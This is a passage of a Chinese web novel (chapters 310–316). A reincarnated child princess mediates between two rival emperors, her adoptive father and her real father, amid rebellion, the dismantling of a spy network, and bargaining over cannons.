“若是再不跑,我可能就要死掉了。”裴明熙没有靠近萧玄策,站在两步外眼睛通红,眼泪要落未落:“你们两个到底要争一争是吗?” 萧玄策抬起手摸了摸鼻子:“是你父皇栽赃天道盟,他先动手的。” “我不管,我就问你们不顾盟约,你也不顾我的劝阻吗?义父,要是这样我就无家可归了,只能逃亡到大周,在大周避难了,毕竟我是天道盟少主啊。”裴明熙说着,直接爬上了坐榻,自顾自的倒茶解渴,把茶盏往桌子上一放:“我不回去了,太危险。” 萧玄策坐在对面:“他就算不相信我,也要相信自己的女儿啊。” “历朝历代,皇上杀自己儿子的事少吗?儿子杀皇帝爹的事少吗?回头让我回京去查此事,你家门两个人是在逼我。”裴明熙拉过软枕直接躺下:“既然劝不了,各凭本事吧。” 萧玄策颇有些无奈,刚要说话,又有人来报:“皇上,神女山赵诚有异动,带着所有手下和家眷往雁门关去了。” 萧玄策立刻看了眼裴明熙,见裴明熙舒舒服服的躺着,看都没看自己一眼。 起身走到旁边的椅子上坐下:“他要干什么?” “东方文和突然找上了赵诚,随后赵诚开拔往雁门关去,大昭境内多股势力纠缠,想要讨伐大昭皇帝,皇上,大昭要乱啊。”来人压低声音说。 萧玄策抬起手揉了揉额角,自己在赵诚身边安排了人,消息便是如此送出来的,可赵诚现在手里不足两万人,真要回大昭,揭竿而起吗? 第311章 大当家的果然眼睛里不揉沙子 萧玄策让来人退下,走到裴明熙的旁边坐下:“听到了吧?” “听到了。”裴明熙翻了个身:“我现在浑身是嘴也说不清了,赵诚一旦回去大昭兴风作浪,义父,只怕盟约就作废了,我爹肯定会认定是你背后支持。” 萧玄策蹙眉:“你说的如此直白?” “为何要拐弯抹角?我都跑你这里来避难了,再说了,义父若是那种出尔反尔的小人,我能来吗?”裴明熙怅然若失:“只是,漠北多好啊,我姨母的凤翎军都快三千人了,那些女子好让我心生敬意啊。” 萧玄策当然知道温令容到漠北了,也知道漠北有了凤翎军,对此萧玄策并没有放在心上,反倒觉得裴祈安会被很多人诟病宠信外戚,天下大势自古以来就是分久必合合久必分,温家越是被抬举得高,只怕后来就越下场凄惨。 若说心里有点儿不忍,倒是温令容那样一个女子,本该娇养在后宅,偏偏被虚名所累要到漠北练兵,不容易啊。 裴明熙倒是心大,歇够了就去御膳房找吃的,吃饱了就回到自己的院子里。 大周皇宫还没建完,工匠们来来往往,她也不在乎,捧着书一看就是一天,萧玄策好奇,发现裴明熙竟然看的是话本子,非常严厉的训斥了她,请了夫子过来教她读书,请了武师傅教她习武,俨然是个负责的严父。 裴明熙从善如流,进院学文习武都懒散的厉害,倒也不会气得老师们跳脚。 与此同时,镇守雁门关的罗政接到了密信,看过之后哭笑不得,皇上竟然让自己假意输给赵诚,放赵诚的人入大昭。 这简直杀人诛心,当初晏明昭就没挡住,如今又要让世人知道,自己竟又没挡住赵诚,骂名啊,都是被逼出来的! 赵诚倒也不是个莽夫,分批让这些人混入百姓中过了雁门关,罗政睁一只眼闭一只眼,竟没有任何风浪的就把人放进来了。 赵诚回到故国,并没有立刻占山为王,而是把自己人都安置在了人比较少的村子,村子后面是一座叫青云峰的山,这座山从神女山延伸过来,绵延数百里之多。 东方文和摇身一变就成了教书先生,村子里寥寥几户百姓也都被收买,一个个帮着这些人去官府里作证,理由也简单,当年战乱时候逃到山里多年的人,原籍不详。 大昭初立,户籍管理松散,这些人十分顺利的有了良籍,甚至还分到了田地。 做好这一切,赵诚才决定上青云峰。 他虽觉得大夏亡国不是坏事,也从不认为裴祈安就坐不得龙椅,可身边人总是会带来一些消息,特别是东方文和率领巫医族投奔他后,他也想要回到大昭,趁着乱世分一杯羹,不为别的,自己手底下的兄弟们还有家眷,都该有个安身立命的地方。 就在赵诚觉得大昭官府能如此接纳这些家眷,不想再折腾的时候,大昭爆发了第一场规模不小的战争,陈青的死让赵诚心中警铃大作,朝廷没动手,倒是江湖乱套了,他占山为王是江湖事,这一步可能走错了。 更让赵诚意外的还在后面,当陈青旧部投靠青云峰的时候,赵诚明白自己踏上了一条不归路。 但现在抽身已来不及了。 “大当家的,巫医族都安顿好了。”东方文和感激涕零:“大当家的对巫医族的大恩大德,巫医族无以为报,必定会唯大当家的马首是瞻,文和我愿效鞍马之劳,万死不辞。” 赵诚摆了摆手:“文和乃是了不得的大人物,我是个粗人,如今这局面非我所愿,文和可有什么看法?” “那要看大当家的想要做什么人,大昭武将稀缺,镇守四夷都是封疆大吏一般的存在,若能成为朝廷的人,高枕无忧还能封妻荫子,后代子孙只要争气,家族兴旺可期。”东方文和说。 赵诚垂眸,这确实是很诱人的,可自己若想要走这条路,就得为朝廷办事,还要办大事,自己有那么大的本事荡平这些占山为王还不知足,还要造反的人吗? 东方文和善察言观色,立刻又说:“第二条路自是招兵买马,世人都说大昭皇帝谋权篡位,本是臣子却逼君王禅让,甚至极有可能弑君,这简直是授把柄给天下人,但凡有本事的人都能揭竿而起,僵持到最后,不敌朝廷被抹杀,但若让朝廷忌惮,就能随便提条件了,到那个时候封疆大吏就没什么看头,割地封王也未尝不可啊。” 赵诚眉头紧锁:“如今已经回到了大昭,就没有第三条路吗?” “大当家的。”东方文和叹了口气:“您的底细藏不住,朝廷会盯着青云峰,江湖上那些有心思想要争一争的人也会盯着青云峰,树欲静而风不止。” 赵诚抬头看东方文和:“你当初求我带着巫医族逃到大昭,就是想要利用我,这才是你的第二步吧?” “大当家的,我东方文和岂是那样的小人?但若大当家的愿意,全力辅佐是我一定会做的事,大昭地大物博,雁门关在最西南,泾水河往南有崇山峻岭,只要大当家的本事大了,我们退居到最南,安居乐业不愁,历朝历代都有边陲之地封王的先例,大当家的为何不效仿呢?”东方文和说。 赵诚当然知道,从大夏最初建成时,晏家也是为晏家军做了如此打算,所以才会在雁门关这边马归南山,但后来因三公中半边月,受制于大夏国君,这件事就不了了之了。 如今,若自己想要这么做,归顺朝廷吗?似乎也只有这么一条路可走。 审视着东方文和,这个人是西凉人,更是巫医族的人,赵诚自己都不相信东方文和大昭朝廷的人。 “你的目的呢?”赵诚问。 毕竟无利不起早,若没有目的,东方文和不会找上自己,甚至还用巫医族作为筹码,跟自己来到大昭。 东方文和笑了:“大当家的果然眼睛里不揉沙子,我也不算有什么目的,只是想要给我的族人找到一个可以永远安居乐业的栖息地,你看,这事儿能成吗?” 能成吗? 赵诚眉头紧锁,自己若是知道,还用如此惴惴不安吗? 第312章 问我要,我没有,你去找我爹换啊 赵诚到底动心了。 东方文和立刻主动请缨,要游说那些闲散的山大王,目的就是招兵买马。 当然,消息也第一时间送到了裴祈安的手里。 裴祈安放下书信,起身走出书房,立在院子里看着高天流云,大昭的立国之战,不可能明面对上萧玄策,可萧玄策必定不会袖手旁观,囡囡说得对,挖掉天道盟势在必行。 天道盟的消息只晚了两天,萧玄策收到消息后,都想要去看看。 泾水河南岸,热闹了。 七月过后,九月是大昭百姓最忙的时候,连续几年天灾人祸,今年必定会颗粒归仓,若是自己动手,那必定是从粮食开始,只是不知那些揭竿而起,自诩正义的人有没有这个胆子。 不过让萧玄策意外的事越来越多,大昭各处都在杀贪官污吏。 赵诚的青云峰越聚越多的人,似乎上青云峰需要杀一个朝廷的贪官污吏做投名状似的。 更让人费解的是裴祈安竟无动于衷,大昭朝廷没有任何动作。 “你爹在做什么?”萧玄策忍无可忍,去找裴明熙。 裴明熙吃着糕点,喝着奶茶,听到这话抬头看了眼萧玄策:“还能做什么?狗咬狗的时候就该放手啊。” 萧玄策愕然的瞪大了眼睛:“你的意思这是故意的?” “是啊,故意的,干爹还是别看热闹了,我觉得我爹会对天道盟动手,若你速度够快,天道盟的银子能保住,若你下手慢了,那些都会进大昭国库。”裴明熙放下奶茶:“但是,你们俩怎么打跟我没关系,你也别想着用我做人质去换什么,换不来还给我爹跟你撕破脸皮的机会了,漠北那些流火炮,不是吃素的。” 这明晃晃的威胁,萧玄策不怒反笑:“囡囡,若是我禅让皇位给你,你成为大周的皇帝,会怎么样?” “那能怎么样?我带着大周投靠我爹呗。”裴明熙不屑的撇撇嘴:“你以为我这么小,还有改天换地的能耐啊?我没有,就算有,我也不做,我懒。” 萧玄策抬起手捏了捏小囡囡的脸蛋,心里却明白了,裴祈安不是没有想过对付自己,甚至对付自己的布局已经完成了,只不过他心思深沉,想要先安内。 “带着大周投靠大昭,那不行,因大周还有西域三十六国,倒是能送你回去大昭,你带着天道盟回去,你爹就不会觉得你吃里扒外了。”萧玄策说。 裴明熙偏着头打量着萧玄策,良久才说:“你想要收手了?” 这一句话问的萧玄策心里咯噔一下。 收手了? 也就是说这小丫头知道自己在大昭做了什么。 收手,确实不容易,但绝对是当务之急。 “干爹,确实不能掺和大昭的事,大昭的手段何止这些?西凉地宫里的宝藏咱们一分为二,我带回去给我爹是立功了,至于天道盟,我爹不会动天道盟根本,但也不会放过天道盟面上的那些人,不管干爹你愿意不愿意,这件事都的让你伤了面子,保住里子。”裴明熙说:“如果干爹信我,西域三十六国和大昭通商才是大事,据我所知,这世界可不单单就大周和大昭,我五爹爹出海所过之处,各种国家如过江之鲫,西域三十六国之外还有不少小国家吧?” 萧玄策微微点头:“确实如此。” “你盯着大昭,就不能怪大昭盯着大周,这谁也不能怪谁,但大昭想要百姓安居乐业,就不会兴兵动武,就算是有朝一日大昭国力强盛,只要和大周和平共处,那大昭的目标就是别处,比如海上、比如往东。”裴明熙笑眯眯的说:“我还是那句话,你和我爹,一主一副,各有天地,但不能自相残杀,若自相残杀,大周就会不复存在,这是气运。” 萧玄策到底是信的。 只不过不甘心。 “大周也想要流火炮。”萧玄策看着裴明熙。 裴明熙十分光棍的摊了摊手:“问我要,我没有,你去找我爹换啊。” “换?用什么换?”萧玄策问。 裴明熙啧啧两声:“天道盟那些浮在表面上的家当,还能白给吗?” “你这孩子,是真让人看不透。”萧玄策算是彻底服了,明明是裴祈安的孩子,偏偏跟自己如此坦诚布公,虽然说话毫不客气,但只要能为自己争取一二,也会竭尽全力,这样的孩子恨都恨不起来。 裴明熙单手撑腮:“干爹,我没有那么复杂,我其实就一个小小的愿望,你和我爹别打起来,好好相处,因为这样是积德,不管是大周还是大昭,那些百姓的福祉都在你们俩身上呢。” 萧玄策揉了揉裴明熙的脑袋:“好,我知道了。” 裴明熙也不多唠叨,看萧玄策起身离开,她跑出去骑马了。 草原上最大的好处是牛羊多,最大的弊端是除了牛羊多,啥都少,比如布匹、粮食,这两样别说大周,西域三十六国也缺。 天道盟倒下,众合商会崛起,她的使命就是守护这个世界的一切,不能对不起墨染赠送子系统的恩情。 “啊---!” 裴明熙在空旷的草原上,放声大喊了好几声,积压在心里的事,即便纷纭复杂也像是都乖顺了似的,心里宁静澄澈犹如草原上的天空。 翻身下马,躺在软草上,看着高天流云,她要为墨染守护这个世界到生命结束那天,路真的好长好长,最初自己想要的是什么来着?保护便宜娘过关斩将报仇,保护便宜爹不死在异域他乡。 而后一切似乎都不受自己控制的在发展,若不是墨染,自己现在应该坐在大昭皇宫里,享受着人间富贵,做个人间富贵花吧。 离家在外的她,想娘亲了。 “阿嚏-”温令仪微微蹙眉。 “娘娘,入了七月,暑气消减时,要仔细了身体。”林嬷嬷取来披风搭在温令仪的肩上。 温令仪轻轻地叹了口气:“奶娘,囡囡走了许久,今日心口闷闷的疼,很想囡囡。” 林嬷嬷端来热茶:“娘娘,长公主绝不是那些囿于后宅的姑娘,未来的长公主更是成就会很高,青史留名的人,但凡有大作为的人,都很难承*欢膝下。” “是啊。”温令仪苦笑着摇头:“或许,等天下太平,海清河晏的时候,我的囡囡就回来了。” 第313章 不是一家人不进一家门 任凭谁也不会想到,包括温令仪在内。 墨染虽然任务完成必须离开,但她留下了子系统,这个系统会陪伴裴明熙留在这个世界上,守护这里的一切,文脉不断可不单单是大昭,任何一个国家都有属于自己的文化传承,包括大周,还有那些海上的小国,甚至是一些还没有建立起来,但日后会成为小国的地方,都该有属于他们特有的传承,而裴明熙的另外一个身份就是要让华*夏文明遍地开花。 所以,就算墨染留下的那些文化传承不够全面,有裴明熙在就能补全,但此时的裴明熙虽心智成熟,可身体还是孩子模样,心有余而力不足。 回到大周皇宫,裴明熙又是孩童模样,在这里她可以耍无赖,至少能让自己放松下来,回到小时候重新养育自己一次的感觉,多难得的机会啊。 萧玄策没有轻举妄动,但大昭的事都会很快传回消息。 当事情按照他预想的那般,赵诚果然开始招兵买马,但同时自己的探子也提到了巫医族和东方文和。 东方文和会对自己不利吗?巫医族不做多想,必定视大周为灭族仇人,所以有一种放虎归山的感觉。 眼看着近中秋,萧玄策并没有看到大昭江南乱起来,心就沉到了谷底,显然不管是大昭朝廷还是那些所谓要讨伐乱臣贼子的乌合之众,都不约而同的选择不伤民,真有战事,也是要等颗粒归仓后。 更让萧玄策意外的是漠北的凤翎军,两国毗邻,凤翎军练兵的身影在大周驻兵地都清晰可见,从最初只有千把人,不足两个月就扩张上万人了。 大昭到底发生了什么?女子入行伍都这么容易了?要知道以前大夏是绝不允许女子出现在军营中。 更不用说大昭的女学,漠北都有女学了,那些女子聘请大周的皮匠,学习如何用牛羊的皮毛做出更好的御寒衣物,甚至大量购买牛羊,挑选最好的牛羊送回京城,余下的牛羊宰杀后,做出来各种香喷喷的肉干,还有大昭境内,背着药篓的采药女。 萧玄策坐不住了,他决定亲自去大昭看看,当然理由也充分,天道盟最近被大昭朝廷查了许多分舵,虽看似无关痛痒,可实际上这也是裴祈安在给自己释放信号,走一遭顺理成章。 “囡囡,义父送你回大昭。”萧玄策说。 裴明熙眨了眨眼睛:“义父是想通了?” “大昭和大周必定会和平共处的。”萧玄策说。 裴明熙立刻起身从柜子里取出来自己的小包袱往身上一背:“走吧。” 两个人出门倒也简单,一人一匹战马,带着银票,说走就走。 去大昭,必经之路便是漠北,萧玄策过了大周境就发现不一样了,原本的草原被改造成了许多田地,田地里许多居住在漠北的百姓在收粮食。 “那是土豆和地瓜,这边的冬天来的早,这些能当饭也能当菜,都是我三姨母的功劳。”裴明熙骄傲的扬起下巴,那模样十足十的在炫耀。 萧玄策问:“大周那边也能种植吧?” “当然能啊,不过草原多盐碱地,要找到能开荒的土地不容易。”裴明熙说:“你可以跟我爹要啊,三姨母手里有法子能让盐碱地长出来粮食。” 萧玄策扶额,他觉得不管裴明熙多么的早慧,多么的聪明绝伦,可到底是个孩子,她还不知道止若什么都伸手问裴祈安要,那无疑让大周成了大昭的藩属国,若那样,别说自己不愿意,西域三十六国也绝对不会愿意,论起来造反,西域三十六国可比大昭境内那些散兵游勇要更难缠很多。 两个人畅通无阻的进了漠北城。 倒不是两国之间防范松散,概因漠北城谁不认识当朝长公主?谁又敢拦着长公主呢? 裴明熙带着萧玄策来到了将军府。 虽然温家人早前都回去了京城,但打从温令仪和裴祈安大婚后,温慕阳就带着家眷回到了漠北,他已立志要做戍边大将,留在漠北不会归京了。 同样在这边居住的不止温令容,还有温慕春一家三口和沈家的一些族人。 漠北城不止驻兵,更是两国通商最大的进出口集散地,所以如今的漠北城在扩建,并且要一直扩建到够用为止。 将军府门口守卫见到裴明熙,单膝跪地请安:“恭迎长公主。” “平身,去通禀。”裴明熙淡淡的说,那模样和在大周皇宫里判若两人,颇有威严。 守卫进去禀报,片刻工夫就听到温慕阳大嗓门的动静了:“裴明熙!你看我不扒了你的皮!” 裴明熙尴尬的冲萧玄策笑了笑:“我这二舅啊,真脾气不好,总是想要揍我。” “你跑出去两个月,真要是挨揍也是应该的。”萧玄策抬眸看着将军府的大门打开,果然温慕阳走在最前面,气势汹汹,身后是书生打扮的温慕春,再往后是两个人的家眷。 温慕阳咬牙切齿的指着裴明熙,那架势这顿揍立刻就要挨上了。 萧玄策横跨一步,挡住裴明熙,微微颔首:“文将军,别来无恙啊。” 温慕阳愣了一下,转而朗声大笑:“我就说这丫头怎么敢回来,原来是有人护着啊,陛下来大昭,如此悄无声息,可别怪大昭招待不周。” “谈生意,谈生意。”裴明熙探出头,笑嘻嘻的说:“二舅,这哪里有什么大周皇帝,我义父是生意人。” “你给我等着!”温慕阳脸色一冷。 裴明熙立刻缩到了萧玄策身后。 “不知道阁下大驾光临,怠慢了。”温慕春上前拱手一礼。 萧玄策笑道:“不请自来,担不起怠慢二字,我们在这里停留一夜,明日就启程去京城。” “哦,请。”温慕春请萧玄策入内。 温家女眷侧身立在一旁避开,等温慕春带萧玄策往书房那条路走去,宋明月才快步过来拉住了裴明熙的手:“跟舅母回后宅。” “大舅母,你瞅瞅二舅的眼神儿,像是要吃了我似的。”裴明熙立刻告状。 宋明月笑了:“这可得找你二舅母。” 裴明熙可怜巴巴的看着松宋曦月,宋曦月笑出声来:“我也管不得,你二舅父得知你离开漠北城,就差点儿掘地三尺了,真不是个省心的,挨揍还能长长记性。” “不是一家人不进一家门。”裴明熙过去抓着宋曦月的手:“二舅母,你偏心。” 宋曦月捏了捏裴明熙的脸蛋:“你啊,心里有数着呢,你这两个舅父还能舍得打你?不过等你姨母回来,挨打怕是跑不掉了。” 裴明熙瞬间嘴角都耷拉下来了,小声问:“姨母最近可好啊?” 第314章 你这么个小人儿,心思真多! 温令容得知裴明熙回来了,直接从营地策马扬鞭回到了将军府,提着马鞭就往后宅来。 屁股没坐热的裴明熙感觉到杀气,一回头就见姨母手里的马鞭,哇一声就从窗户跳出去了。 坐在屋子里的宋明月和宋曦月都惊呆了,什么时候小囡囡有这么利索的身手了? “你给我站住!”温令容厉声:“裴明熙!今天我要不替你娘好好教训你一顿,你是不知道天高地厚了!” 裴明熙哪里敢停?边跑边求饶:“姨母开恩啊,我是天道盟的少主,天道盟背着我做那么多坏事,我不跑咋办?别说我娘了,我爹对我都能起杀心!” “你胡说!就算是这样,你跑做什么?你这是畏罪潜逃!”温令容追得紧,但手里的马鞭子根本没有出手的意思。 裴明熙说:“我当然是去找天道盟真正的主子了啊,这事儿我不知道,我得确认我义父也不知道啊,你看,我这不是回来了嘛,还要回去京城。” “那也少不得揍你一顿!”温令容厉声:“动不动你就离家出走,不知道千金之子坐不垂堂?我看就是把你宠坏了!” 一个跑得额头见汗,一个后面追得面色发红,萧玄策立在不远处,竟没想阻拦,并且心里还生出来了些许异样的感觉。 天底下寻常人家都会出现这样一幕,妻子管教不听话的孩子的既视感,温令容的性子变了好多,难道说当了女将军后,人就立起来了? 又看了一会儿,萧玄策暗暗吃惊,两个人跑了不知多少圈了,裴明熙这些日子跟着自己给寻的武师学了一些练气的功法,那武师私下里对裴明熙赞不绝口,说是百年难得一遇的练武奇才,若是勤加苦练,以后不可估量。 所以,裴明熙是有一些拳脚功夫的底子了。 那温令容是怎么回事?自己看得出来,温令容根本就没有使出全力,记得上次见到温令容的时候,她还是个身体挺弱的女子,才半年多不见,难道也是个练武奇才? 要探一探虚实。 心里这么想,萧玄策闪身拦住了温令容,温令容见突然多了个人拦住自己,下意识的脚尖点地,整个人腾身而起,从萧玄策的头顶纵身而去。 萧玄策缓缓转身回头,见温令容也停下脚步回头看过来,四目相对刹那,萧玄策知道温令容变了,那眼神坚定且澄澈的样子是自己之前不曾见到过的,之前是世家大族的小姐,如今是个有了主心骨的女将军,完全变了一个人。 “陛下尽也来了大昭。”温令容收起来马鞭,缓步走过来抱拳一礼:“多有冒犯,恕罪。” 萧玄策还礼:“是某想要护着义女,心急所至,还请温小姐海涵。” 此时的裴明熙早就钻进屋子里,坐在凳子上大喘气了。 “囡囡,你说这两个人有戏没?”宋曦月好奇的从窗口往外看,问。 裴明熙拍着胸口,萧玄策再不出手,自己的心都得从嗓子眼儿跳出来,有没有戏?没戏自己遭这个罪啊? 男人,呵,念念不忘的时候,魂萦梦绕都是得不到的人,所以不趁这个机会让萧玄策见一见姨母,再半路杀出来个程咬金,自己的谋划可就有阻碍了呢。 不等裴明熙说话,宋明月低声:“小妹,切不可乱点鸳鸯谱,长姐如今心思都在凤翎军上,这又不是个寻常男子。” 到底是长媳,裴明熙明白大舅母的意思,帝王心思难以揣测,今日荣光无限,谁知道是不是他日的祸端,温家从泥沼中好不容易爬出来,形式端方不给任何人留把柄,才是长兴之道。 “大舅母,姨母未必瞧得上他。”裴明熙两腿发软的走到宋明月身边坐下:“再说了,以后的事谁说得清,哪怕姨母是温家女,我义父要是想迎娶,那也得两国磋商,别担心。” 宋明月揉了揉裴明熙的脸蛋:“我们家囡囡最聪明了,厨房那边在准备你喜欢的菜品,长身体的时候,要好好吃饭才行。” “被姨母追得前胸贴后背,快饿扁了。”裴明熙顺劈下驴,像是根本不关心外面的两个人似的。 萧玄策有些尴尬,这沉默简直太压抑了,负手而立,思量半天才说:“温小姐的凤翎军规模不小。” “是皇上恩典,大昭如今对女子十分爱护,不止凤翎军还有女学,终究囿于后宅蹉跎一生,对女子来说是不公平的。”温令容落落大方,并没有急于脱身的意思。 萧玄策偏头看她,这样的女子浩渺如烟,让人看不透了呢。 想当初自己确实有庇护之心,当然也希望和温家关系密切,所以想要迎娶温令容,此时听得到她这一番话,颇有些羞愧。 若自己真迎娶了温令容回大周,会允许她练兵习武吗? “多谢陛下护送长公主回大昭,我军中尚有军务未曾处理,就先告退了。”温令容欲走。 萧玄策抬起手:“嗳。” 温令容疑惑的看过来:“陛下,还有别的事吗?” “我们只留宿一晚,明日启程去京城,你、你不留下陪着囡囡用过饭再走嘛?”萧玄策说出口,都觉得自己老脸发烧。 温令容回头往屋子里看了眼:“那失陪了,我去看看囡囡。” 萧玄策看着温令容进屋,进退不得,十分尴尬,一直在门外的温慕春走进来:“陛下,请。” “我走错路了。”萧玄策尴尬的解释。 温慕春看破不说破,去客院有人带路,跑这里跟长姐说话,谁知道这路是不是故意走错的? 心里这么想,面上不显,陪着萧玄策去客院。 客院下棋。 萧玄策扫了眼温慕春的腿,曾经卧床不起的温家大公子,如今哪里还能看出来分毫?除了半边月的毒接了,更跟温令仪脱不开关系,曾经自己若不是遇到温令仪,保不齐就死了,所以药王谷的医术确实厉害。 “温公子,某此番去见大昭国君,想要购置一些流火炮,不知可行?”萧玄策开门见山的问。 温慕春笑着落下一子:“陛下心中自有成算,何须问我。” 萧玄策笑了。 殊不知,此时的温令容正和裴明熙头碰头的趴在桌子上,裴明熙一边画一边讲解,画完后抬眸:“姨母,明日交给大舅父,尽快造出来。” “囡囡,我们有流火炮了。”温令容说。 裴明熙笑眯眯的说:“流火炮算什么?大昭要做到一直被模仿,不可能被超越,流火炮可是比黄金还贵的宝贝,国库不能空。” 温令容立刻明白裴明熙的意思了,笑道:“你这么个小人儿,心思真多!” 第315章 娘亲,我是回来充实国库的 图纸留下一份,裴明熙带一份回京。 翌日启程的时候,裴明熙就不骑马了,长途跋涉,这么小的孩子骑马怎么能受得了?温家给准备了马车,看着平平无奇,可里面非常豪华,软软的垫子躺上去就跟躺在棉花上似的。 萧玄策的战马跟在队伍后面,他在马车里教裴明熙手谈。 黑白子在棋盘上游走,萧玄策说着西域三十六国,看似下棋,实则萧玄策想要从裴明熙这里得到一些启发,这个孩子突然蹦出来的一句话,能让他有豁然开朗的感觉。 裴明熙也不吝啬,她打小是财迷,这几年就没变过,说起来经商之道就没完没了,当然了,她明白萧玄策不是个昏君,他要考虑大周的将来。 跟大昭比起来,大周的西域三十六国就像是一群羊,乖乖听话怎么都好,可是要闹腾起来,也确实让人头疼。 在裴明熙看来,经济命脉就是套在三十六国脖子上的绳索,唯有控制了经济命脉,才能为大周争取更多的时间,力求在短时间内兵强马壮,真有想造反的,直接就能按死,也起了杀鸡儆猴的妙用。 一路上,萧玄策不止一次想要抢走裴明熙,彻底成为自己的亲闺女。 若真能美梦成真,自己何愁后继无人? 只可惜,这不单单不是自己亲生的,还是裴祈安亲生的,真要让裴明熙继承大周,这跟把大周拱手让给裴祈安有什么区别?不甘心啊。 金秋时节,萧玄策和裴明熙来到了京城。 这一路上萧玄策见识到了大昭的能耐,遍地粮食对寻常人可能不会有多大的影响,可对于一国之君的萧玄策来说,那些粮食可都是一条条人命,百姓有粮才能熬过漫长的寒冬,百姓是有粮才能繁衍生息,裴祈安当真比自己厉害,裴明熙所说的话都在被验证。 不过,萧玄策也想要再观望,颗粒归仓后,那些打着讨伐裴祈安旗号的人,总不会没有动静,销声匿迹的。 自己要看看裴祈安如何应对。 进了京城,萧玄策和裴明熙没去皇宫,而是去了天道盟。 天道盟里,南英跪下请罪。 萧玄策大发雷霆。 但在裴明熙的眼里,这不过是做戏罢了,自己虽然名义上是天道盟的少主,但天道盟并不会听自己的命令,只会处处护自己周全,毕竟天道盟真正的主子是萧玄策嘛。 等裴明熙回去自己的院子歇息,萧玄策和南英才去了书房里的密室。 这里是从各处传递回来的消息,没来得及送到大周。 萧玄策看过这些消息,额头冷汗都下来了:“你的意思是说,江南早就打起来了?” “是,赵诚颇有些本事,已经打掉了十几个占山为王的匪窝,不过这些消息不会送到朝廷,在大昭,算是江湖事。”南英说。 萧玄策眉头紧锁,什么叫江湖事?还不会送到朝廷?只怕裴祈安早就了若指掌,这局就是他做的。 “可对天道盟有影响?”萧玄策问。 南英点头:“江南的天道盟都被砍掉了,我们的人先一步得到消息撤走,但家当损失了九成。” 九成? 萧玄策无奈苦笑,能把人放走,这就是裴祈安的态度,不想和自己撕破脸皮罢了,自己这一趟可不止要损失一个天道盟了。 “把这些都化了,清点所有天道盟的账目,放出去消息,天道盟的人回大周。”萧玄策说。 南英一下就蒙了:“主子,我们在这里经营了十数年啊,就这么走了吗?” “以前是大夏,如今是大昭,我们不走只会后患无穷。”萧玄策顿了一下:“家眷都带走,但凡留下一条狗,都不会活下来的。” 裴祈安动手,不是无的放矢,既是拿定主意要挖掉天道盟,那就绝对会有下手无情的时候。 南英领命退下。 翌日,萧玄策陪着裴明熙入宫。 御书房门口,裴祈安笑望着萧玄策:“大周日子必定很好过啊。” “何出此言?”萧玄策拱手。 裴祈安回礼:“朕整日里忙得焦头烂额,别说能去大周看看了,就是去街上都没机会,玄策能来大昭,可不就证明大周国泰民安,无事嘛。” “好像是这么个理儿,当然也是为了送我义女回家,这孩子哭哭啼啼说想家,可是不敢回来,怕被定个乱臣贼子的罪名。”萧玄策说。 二人进了御书房,裴明熙才不跟来呢,一溜烟儿跑去后宫见娘亲和弟弟去了。 御书房里,二人落座。 萧玄策率先开口:“此番来大昭还有另外一件事要跟玉琢说明白啊。” “天道盟万万不该插手大昭的家事。”裴祈安看着萧玄策:“若天道盟能像众合商会那般,这是做买卖生意,大昭怎么可能动手呢?” 不给萧玄策辩驳的机会,裴祈安直接把事摆在明面上说了。 萧玄策点头:“确实,天道盟的人还用以前的法子做事,不妥当,也是我御下不严,此番前来是赔罪。” “你我之间,何须赔罪二字,我也是小惩大诫。”裴祈安说。 萧玄策取出来一枚钥匙放在桌子上:“玉琢能高抬贵手让天道盟的所有人回去大周,这就让我感激不尽了,这是天道盟大库的钥匙,算是赔罪的礼。” 裴祈安沉吟片刻。 “再就是,此番来大昭,实在是眼热流火炮,不知道玉琢可否割爱,至于价钱,开便是。”萧玄策把自己心里那点子想要的和盘托出:“也希望能派遣使团往大周去,也让大周的草原上能长出来粮食。” 裴祈安撩起眼皮儿看萧玄策:“玄策兄,大昭和大周是毗邻而居的邻邦,民间都说远亲不如近邻,按理说互通有无才能长久相处,可一开口就想要流火炮和粮食,是不是要的太多了?” 这话让萧玄策有些尴尬,清了清嗓子:“玉琢,若有什么条件,尽管提,咱们之间凡事好商量。” “不急,不急。”裴祈安笑着起身:“长途跋涉来一趟,先为玄策兄接风,让玉琢尽一尽地主之谊,请。” 后宫,温令仪猛然见到了自己的女儿,急忙过来把人抱在怀里:“囡囡,怎么突然回来了?” “娘亲,我是回来充实国库的。”裴明熙笑眯眯的说:“这次,鱼很大!” 第316章 玄策兄,盟约,真的能为证吗? 温令仪很快就知道这条大鱼是谁了。 当萧玄策出现在面前的时候,温令仪就止不住想当年自己救萧玄策,裴明熙害那么小,就每时每刻都想要杀了萧玄策,如今倒是没有杀心了,可逮住就坑银子,也真不是善缘啊。 接风宴更像是家宴。 无染皇子还小,不能上桌。 萧玄策看着面前的一家三口,心里百味杂陈,当初自己初遇温令仪的时候,恍如昨日,可是今天一家三口颇有些修成正果的意思,自己还是孤家寡人,偶尔心动也都是想要利用,说到底自己还真不配娶妻。 当年在泾河府时,自己先走一步是运气,否则也会被温家一口回绝,毕竟这些人一个个都如人精一般,自己那点子龌龊心思,只怕根本藏不住。 想他,建了大周朝。 可却在异国他乡感受到了一个寻常人家该是如何暖人心肺的。 没说几句话,倒是把萧玄策喝醉了,被送到驿馆的时候,早就人事不省了。 裴祈安抱着裴明熙,温令仪抱着小儿子,一家四口坐在暖炕上闲聊。 虽说比不得漠北冬日来得早,可京城也冷了,暖炕在这个时候尤为重要,坐在上面整个人都热乎乎的。 裴明熙取出来自己画的图纸递给裴祈安:“爹,我把图纸给姨母了,姨母会去找大舅父进苍山锻造出来,有了这样的好东西,流火炮可以卖给大周,我们在镇国神器上,永远都会压着大周一头的,只不过造火药还需要能人,这件事得秘密进行。” 裴祈安把图纸拿过去,父女在灯下认真的研究。 无染好奇的伸出手想要抓,被温令仪拉回去:“听话,等你长大了,你长姐会教你的。” 裴明熙听到这话回头看了眼弟弟,确实太小了,特别是那双眼睛纯净的很,也好,总不能一个两个都来路不正吧。 翌日。 萧玄策揉着额角睁开眼睛,回想起昨晚喝酒的场景,整个人都不好了,这么多年何曾因杯酒之物误事过?可丢人! “干爹。” 裴明熙的声音里都透着欢快。 萧玄策赶紧下床,整理压皱了的袍服。 “娘亲让我送来一些换洗衣物,干爹,我爹说今晚还请你喝酒。”裴明熙侧身,身后的宫女鱼贯而入,捧着的托盘上放着六七套袍服,还有一件貂皮大氅。 萧玄策羞愧难当:“不喝了不喝了。” 裴明熙坐在椅子上笑的见牙不见眼:“不喝就不能谈,不谈哪里来的流火炮?真要是空手而回,干爹可不能怪囡囡不帮忙,我可是废了九牛二虎之力才劝我爹同意的呢。” “同意了?”萧玄策愕然。 